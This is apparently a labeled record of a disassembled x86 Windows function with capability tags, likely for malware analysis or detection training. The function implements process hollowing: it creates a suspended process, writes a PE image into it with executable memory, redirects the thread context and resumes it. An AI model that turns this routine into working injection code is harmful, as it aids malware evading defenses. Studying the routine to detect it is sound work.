Function at 0x40168a
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1b4
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x4016c0
mov eax, 0xffffffff
jmp 0x401a44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x38]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x7c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x7c], 0x44
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x184]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x184]
mov dword [ebp - 0x18], eax
call sub.msvcrt.dll_rand
and eax, 1
test eax, eax
jne 0x40178d
lea eax, [ebp - 0x38]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x7c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000004
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
jmp 0x401792
mov eax, 0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401a3f
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x2cc
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4017db
mov eax, 0xfffffffe
jmp 0x401a44
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadContext]
call eax
sub esp, 8
test eax, eax
je 0x401a1f
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0xa4]
add eax, 8
mov ecx, eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x80]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x50]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
mov ecx, eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x4018a5
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov eax, 0xfffffffd
jmp 0x401a44
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x54]
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 8]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x24]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
add eax, 0xf8
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], 0
jmp 0x40196e
mov edx, dword [ebp - 0xc]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x28]
add eax, edx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0xc]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x28]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp + 8]
add eax, edx
mov ebx, eax
mov edx, dword [ebp - 0xc]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x28]
add eax, edx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x24]
add eax, edx
mov edx, eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0xc], eax
jl 0x4018f3
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0xa4]
add eax, 8
mov ecx, eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0x24]
add edx, eax
mov eax, dword [ebp - 0x20]
mov dword [eax + 0xb0], edx
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetThreadContext]
call eax
sub esp, 8
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ResumeThread]
call eax
sub esp, 4
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov eax, 0
jmp 0x401a44
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov eax, 0xfffffffc
mov ebx, dword [ebp - 4]
leave
ret